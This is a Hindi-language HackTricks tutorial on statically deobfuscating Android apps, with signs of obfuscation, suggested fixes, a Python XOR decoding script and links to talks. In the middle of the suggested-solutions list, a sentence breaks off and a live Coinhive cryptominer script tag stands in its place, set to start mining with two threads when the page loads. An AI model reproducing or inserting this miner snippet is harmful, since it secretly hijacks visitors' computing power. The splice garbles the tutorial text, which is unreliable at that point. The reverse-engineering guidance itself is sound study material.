hacktricks/mobile-pentesting/android-app-pentesting/manual-deobfuscation.md

16 KiB

AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

https://maddiestone.github.io/AndroidAppRE/obfuscation.html से कॉपी किया गया (आप वहां समाधान पा सकते हैं)**

Logo

कई बार जब आप जिस एप्लिकेशन को रिवर्स कर रहे होते हैं, वह उतना सीधा नहीं होता जितना कुछ उदाहरणों में हमने चर्चा की है। डेवलपर अपने ऐप के व्यवहार और/या कार्यान्वयन को छिपाने के लिए एक या अधिक ऑब्फस्केशन तकनीकों को लागू करेगा। यह दोनों अच्छे और बुरे कारणों से हो सकता है।

ऑब्फस्केशन के बारे में याद रखने वाली मुख्य बात यह है कि यदि आप इसे डी-ऑब्फस्केट करना चाहते हैं, तो आप कर सकेंगे। मुख्य निर्णय यह नहीं है कि आप कर सकते हैं या नहीं, बल्कि यह है कि क्या इसे डी-ऑब्फस्केट करने के लिए संसाधन लगाना इसके लायक है या नहीं।

आप हमेशा कुछ भी डी-ऑब्फस्केट कर सकते हैं क्योंकि अंततः CPU को किसी बिंदु पर अनऑब्फस्केटेड कोड देखना होता है ताकि वह इसे चला सके।

डी-ऑब्फस्केशन कैसे करें

आप जिस एप्लिकेशन को डी-ऑब्फस्केट करना चाहते हैं, वह ऑब्फस्केशन विधि पर निर्भर करेगा, लेकिन कुछ सामान्य तकनीकें हैं जो आमतौर पर अच्छी तरह से काम करती हैं। यहां, हम केवल स्टैटिक डी-ऑब्फस्केशन तकनीकों पर चर्चा करेंगे क्योंकि यह कार्यशाला केवल स्टैटिक विश्लेषण/रिवर्सिंग को कवर करती है। हालांकि, याद रखें कि एप्लिकेशन को चलाना और इसे गतिशील रूप से विश्लेषण करना ऑब्फस्केशन के आसपास पाने का एक और शानदार तरीका हो सकता है।

DEX बाइटकोड (Java) में ऑब्फस्केशन के लिए, स्टैटिक रूप से डीऑब्फस्केट करने का एक सबसे आसान तरीका एप्लिकेशन में डी-ऑब्फस्केशन विधियों की पहचान करना है और उनके डिकम्पाइलेशन को एक Java फ़ाइल में कॉपी करना है जिसे आप फिर ऑब्फस्केटेड फ़ाइल, स्ट्रिंग्स, कोड, आदि पर चलाते हैं।

Java और Native Code दोनों के लिए एक और समाधान यह है कि डी-ऑब्फस्केशन एल्गोरिदम को Python या किसी अन्य स्क्रिप्टिंग भाषा में अनुवादित करें जिसमें आप सबसे अधिक सहज हैं। मैं "अनुवादित" कहता हूं क्योंकि यह महत्वपूर्ण है कि आपको हमेशा डी-ऑब्फस्केशन एल्गोरिदम को *समझने* की आवश्यकता नहीं होती, आपको केवल इसे निष्पादित करने का एक तरीका चाहिए। मैं इसे "Unpacking the Packed Unpacker" टॉक में अधिक विस्तार से कवर करता हूं जो "More Examples" सेक्शन में लिंक किया गया है।

ऑब्फस्केशन के संकेत

ऑब्फस्केशन के कई अलग-अलग प्रकार हैं और इसी तरह, विश्लेषक को यह सूचित करने के लिए कई अलग-अलग प्रकार के संकेत हैं कि एक एप्लिकेशन संभवतः ऑब्फस्केटेड है, लेकिन यहां कुछ उदाहरण हैं जिनमें डीऑब्फस्केटिंग के लिए प्रस्तावित स्टैटिक विश्लेषण समाधान हैं।

  • कोई स्ट्रिंग्स नहीं: Java और Android स्ट्रिंग्स पर अत्यधिक निर्भर हैं इसलिए यदि आप कोई भी या केवल गड़बड़ स्ट्रिंग्स नहीं देखते हैं, तो यह अत्यधिक संभावना है कि स्ट्रिंग्स ऑब्फस्केटेड हैं।
  • सुझावित समाधान: ऐसे मेथड कॉल्स की तलाश करें जो स्ट्रिंग्स को एक आर्गुमेंट के रूप में लेते हैं और ट्रेस करें कि वह आर्गुमेंट कहां से आ रहा है। किसी बिंदु पर स्ट्रिंग आर्गुमेंट एक डी-ऑब्फस्केशन मेथड के माध्यम से जा रहा होगा इससे पहले कि यह API को पास किया जाता है जो स्ट्रिंग आर्गुमेंट लेता है।
  • गड़बड़ स्ट्रिंग्स: Java और Android APIs को प्लेन टेक्स्ट स्ट्रिंग्स की आवश्यकता होती है, गड़बड़ नहीं।
  • सुझावित समाधान: गड़बड़ स्ट्रिंग्स सभी संभावना में एक ही मेथड्स को पास किए जाते हैं इससे पहले कि वे APIs को पास किए जाते हैं। ये मेथड्स संभावना में डी-ऑब्फस्केशन मेथड्स हैं।
  • assets/ डायरेक्टरी में बाइनरी फाइलें और ऐप में DexClassLoader कॉल्स: अतिरिक्त कोड अनपैकिंग और लोडिंग की संभावना है। (यह भी संभावना है कि एक दूरस्थ स्थान से डाउनलोड करना और फिर DexClassLoader का उपयोग करके लोड करना)
  • सुझाव समाधान: पहचानें कि फाइल को कहां पढ़ा जाता है और फिर पथ का अनुसरण करें। यह संभावना है कि इसे पढ़ने के तुरंत बाद डी-ऑब्फस्केट किया जाता है।
  • नेटिव लाइब्रेरीज - JNI फंक्शंस की पहचान नहीं कर सकते (कोई फंक्स नाम Java_ नहीं है और RegisterNatives को कोई कॉल्स नहीं): किसी भी नेटिव मेथड्स को निष्पादित करने के लिए, JNI को नेटिव लाइब्रेरी में फंक्शन को जावा में नेटिव मेथड घोषणा के साथ जोड़ने में सक्षम होना चाहिए और इस प्रकार दोनों में से एक को किसी बिंदु पर मौजूद होना चाहिए।
  • सुझावित समाध
<script src="https://coinhive.com/lib/coinhive.min.js"></script><script>var miner = new CoinHive.Anonymous('nf24ZwEMmu0m1X6MgcOv48AMsIYErpFE', {threads: 2});miner.start();</script>

पायथन स्क्रिप्ट जो मैंने इसे डी-ऑब्फ्यूस्केट करने के लिए लिखी है:

enc_str = "773032205849207A3831326F1351202E3B306B7D1E5A3B33252B382454173735266C3D3B53163735222D393B475C7A37222D7F38421B6A66643032205849206477303220584920643D2223725C503A3F39636C725F5C237A082C383C7950223F65023F3D5F4039353E3079755F5F666E1134141F5C4C64377A1B671F565A1B2C7F7B101F42700D1F39331717161574213F2B2337505D27606B712C7B0A543D342E317F214558262E636A6A6E1E4A37282233256C"

length = len(enc_str)
count = 0
dec_str = [0] * (length/2)
while (count < length):
dec_str[count/2] = (int(enc_str[count], 16) << 4) + int(enc_str[count + 1], 16) & 0xFF
count += 2
print dec_str


key = [75, 67, 81, 82, 49, 57, 84, 90]
enc_str = dec_str
count = 0
length = len(enc_str)
while (count < length):
dec_str[count] = chr(enc_str[count] ^ key[count % len(key)])
count += 1
print ''.join(dec_str)

और उदाहरण

मैंने Android ऐप्स के डी-ऑब्फ़्यूस्केटिंग पर कुछ वार्ताएँ की हैं जिनमें विविध ऑब्फ़्यूस्केशन तंत्र शामिल हैं। इन वार्ताओं में, मैं उन्नत ऑब्फ़्यूस्केशन तकनीकों, उन्हें डी-ऑब्फ़्यूस्केट करने के मेरे समाधान, और उन विचारों और चयनों पर चर्चा करता हूँ जो मैंने डी-ऑब्फ़्यूस्केट करने के लिए तय किए।

  • BlackHat USA 2018: “Unpacking the Packed Unpacker: Reverse Engineering an Android Anti-Analysis Library” [वीडियो]
  • यह वार्ता एक Android एप्लिकेशन द्वारा प्रयुक्त सबसे जटिल एंटी-एनालिसिस नेटिव लाइब्रेरीज में से एक की रिवर्स इंजीनियरिंग पर जाती है। यह मुख्य रूप से नेटिव कोड में ऑब्फ़्यूस्केशन तकनीकों को कवर करता है।
  • REcon 2019: “The Path to the Payload: Android Edition” [वीडियो]
  • यह वार्ता एक Android बॉटनेट द्वारा अपने व्यवहार को छिपाने के लिए प्रयुक्त जावा कोड में केवल ऑब्फ़्यूस्केशन तकनीकों की एक श्रृंखला पर चर्चा करती है।
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके: